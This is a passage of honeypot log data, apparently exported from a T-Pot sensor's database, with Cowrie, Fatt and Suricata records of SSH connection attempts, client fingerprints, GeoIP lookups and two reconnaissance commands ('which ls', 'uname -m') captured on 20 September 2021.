2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45546, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:58:11.731261Z", "@timestamp": "2021-09-20T11:58:11.731Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........Uq?......`$&.J...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
33948	36.27.214.211	109.199.241.180	Fatt	2021-09-20 14:58:11.731261+03	2021-09-20 15:00:06.50302+03	{"_id": "zAYSA3wBvYTbRNuEI1KY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 45546, "dest_port": 22, "timestamp": "2021-09-20T11:58:11.731261", "@timestamp": "2021-09-20T11:58:11.731Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33949	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:12.711196+03	2021-09-20 15:00:06.505021+03	{"_id": "0AYSA3wBvYTbRNuEJVJL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "183.17.231.81", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "7468c9710c83", "@version": "1", "duration": 0.6022424697875977, "duplicate": true, "timestamp": "2021-09-20T11:58:12.711196Z", "@timestamp": "2021-09-20T11:58:12.711Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33950	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:58:14.316023+03	2021-09-20 15:00:06.506021+03	{"_id": "4AYSA3wBvYTbRNuELVIe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "80cf949c2010", "@version": "1", "duration": 2.3356549739837646, "timestamp": "2021-09-20T11:58:14.316023Z", "@timestamp": "2021-09-20T11:58:14.316Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33953	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:58:11.982715+03	2021-09-20 15:00:06.51002+03	{"_id": "zQYSA3wBvYTbRNuEI1KY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "96.78.175.36", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58134, "timestamp": "2021-09-20T11:58:11.982715", "@timestamp": "2021-09-20T11:58:11.982Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33954	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:13.093759+03	2021-09-20 15:00:06.511021+03	{"_id": "0QYSA3wBvYTbRNuEJVJM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.params", "message": [], "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:13.093759Z", "@timestamp": "2021-09-20T11:58:13.093Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33955	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:13.0948+03	2021-09-20 15:00:06.512021+03	{"_id": "0wYSA3wBvYTbRNuEJVJM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:13.094800Z", "@timestamp": "2021-09-20T11:58:13.094Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33956	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:14.082062+03	2021-09-20 15:00:06.514021+03	{"_id": "1gYSA3wBvYTbRNuEKVI1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.params", "message": [], "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:14.082062Z", "@timestamp": "2021-09-20T11:58:14.082Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33957	222.186.30.76	109.199.241.180	Cowrie	2021-09-20 14:58:14.78836+03	2021-09-20 15:00:06.515021+03	{"_id": "3gYSA3wBvYTbRNuELVId", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "222.186.30.76", "asn": 23650, "as_org": "AS Number for CHINANET jiangsu province backbone", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "222.186.30.76", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 222.186.30.76:20466 (192.168.176.2:22) [session: 30c92046eaa7]", "session": "30c92046eaa7", "@version": "1", "protocol": "ssh", "src_port": 20466, "dest_port": 22, "timestamp": "2021-09-20T11:58:14.788360Z", "@timestamp": "2021-09-20T11:58:14.788Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33958	222.186.30.76	109.199.241.180	Cowrie	2021-09-20 14:58:14.791157+03	2021-09-20 15:00:06.516021+03	{"_id": "4gYSA3wBvYTbRNuELVIe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "222.186.30.76", "asn": 23650, "as_org": "AS Number for CHINANET jiangsu province backbone", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "222.186.30.76", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "30c92046eaa7", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:58:14.791157Z", "@timestamp": "2021-09-20T11:58:14.791Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33959	222.186.30.76	109.199.241.180	Cowrie	2021-09-20 14:58:16.153825+03	2021-09-20 15:00:06.51702+03	{"_id": "7QYSA3wBvYTbRNuEMVIH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "222.186.30.76", "asn": 23650, "as_org": "AS Number for CHINANET jiangsu province backbone", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "222.186.30.76", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "30c92046eaa7", "@version": "1", "duration": 1.3630180358886719, "timestamp": "2021-09-20T11:58:16.153825Z", "@timestamp": "2021-09-20T11:58:16.153Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33960	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:16.079344+03	2021-09-20 15:00:06.51802+03	{"_id": "7AYSA3wBvYTbRNuEMVIG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:16.079344Z", "@timestamp": "2021-09-20T11:58:16.079Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33961	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:01.494726+03	2021-09-20 15:00:06.52002+03	{"_id": "iAYRA3wBvYTbRNuE-lJK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 183.17.231.81:41108 (192.168.176.2:22) [session: 7468c9710c83]", "session": "7468c9710c83", "@version": "1", "protocol": "ssh", "src_port": 41108, "dest_port": 22, "timestamp": "2021-09-20T11:58:01.494726Z", "@timestamp": "2021-09-20T11:58:01.494Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33962	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:01.497678+03	2021-09-20 15:00:06.52102+03	{"_id": "igYRA3wBvYTbRNuE-lJK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "7468c9710c83", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:58:01.497678Z", "@timestamp": "2021-09-20T11:58:01.497Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33963	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:03.697428+03	2021-09-20 15:00:06.522021+03	{"_id": "lQYSA3wBvYTbRNuEAlIb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 183.17.231.81:41264 (192.168.176.2:22) [session: bc991ff2412e]", "session": "bc991ff2412e", "@version": "1", "protocol": "ssh", "src_port": 41264, "dest_port": 22, "timestamp": "2021-09-20T11:58:03.697428Z", "@timestamp": "2021-09-20T11:58:03.697Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33964	172.217.169.170	109.199.241.180	Suricata	2021-09-20 14:58:04.41618+03	2021-09-20 15:00:06.52402+03	{"_id": "mQYSA3wBvYTbRNuEA1JH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:58:04.416180+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "172.217.169.170", "asn": 15169, "as_org": "Google Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "172.217.169.170", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 468230746167732, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 35222, "timestamp": "2021-09-20T11:58:04.416180Z", "@timestamp": "2021-09-20T11:58:04.416Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
33965	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:58:03.70123+03	2021-09-20 15:00:06.525021+03	{"_id": "mgYSA3wBvYTbRNuEBFJT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "183.17.231.81", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41264, "timestamp": "2021-09-20T11:58:03.701230", "@timestamp": "2021-09-20T11:58:03.701Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33966	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:58:00.195649+03	2021-09-20 15:00:06.52602+03	{"_id": "egYRA3wBvYTbRNuE81Kl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 7429, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2794, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 302150803060274, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 39474, "timestamp": "2021-09-20T11:58:00.195649Z", "@timestamp": "2021-09-20T11:58:00.195Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
33967	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:58:00.24767+03	2021-09-20 15:00:06.527032+03	{"_id": "fAYRA3wBvYTbRNuE9FKx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35896, "dest_port": 443, "timestamp": "2021-09-20T11:58:00.247670", "@timestamp": "2021-09-20T11:58:00.247Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
